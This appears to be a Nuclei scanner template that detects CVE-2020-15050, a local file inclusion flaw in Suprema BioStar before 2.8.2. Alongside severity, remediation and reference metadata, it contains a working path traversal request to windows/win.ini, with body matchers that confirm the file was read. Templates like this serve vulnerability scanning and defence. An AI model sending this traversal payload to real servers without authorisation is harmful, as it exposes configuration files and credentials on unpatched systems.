CVE-2020-15050: Suprema BioStar <2.8.2 - Local File Inclusion

id: CVE-2020-15050

info:
  name: Suprema BioStar <2.8.2 - Local File Inclusion
  author: gy741
  severity: high
  description: Suprema BioStar before 2.8.2 Video Extension allows remote attackers can read arbitrary files from the server via local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Upgrade Suprema BioStar to version 2.8.2 or later to fix the LFI vulnerability.
  reference:
    - http://packetstormsecurity.com/files/158576/Bio-Star-2.8.2-Local-File-Inclusion.html
    - https://www.supremainc.com/en/support/biostar-2-pakage.asp
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15050
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-15050
    cwe-id: CWE-22
    epss-score: 0.50734
    epss-percentile: 0.98902
    cpe: cpe:2.3:a:supremainc:biostar_2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: supremainc
    product: biostar_2
  tags: cve,cve2020,suprema,biostar2,packetstorm,lfi,supremainc,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../windows/win.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4a0a004730450221009ab4dd207f6ba1f5cb671e2f1f998599bc4a1bc65120a5789b2ef5a1d9d87a550220766772022d0f356f57f1a701fc5091446cc7252a78c8fcd8e6d783dd16fc189e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.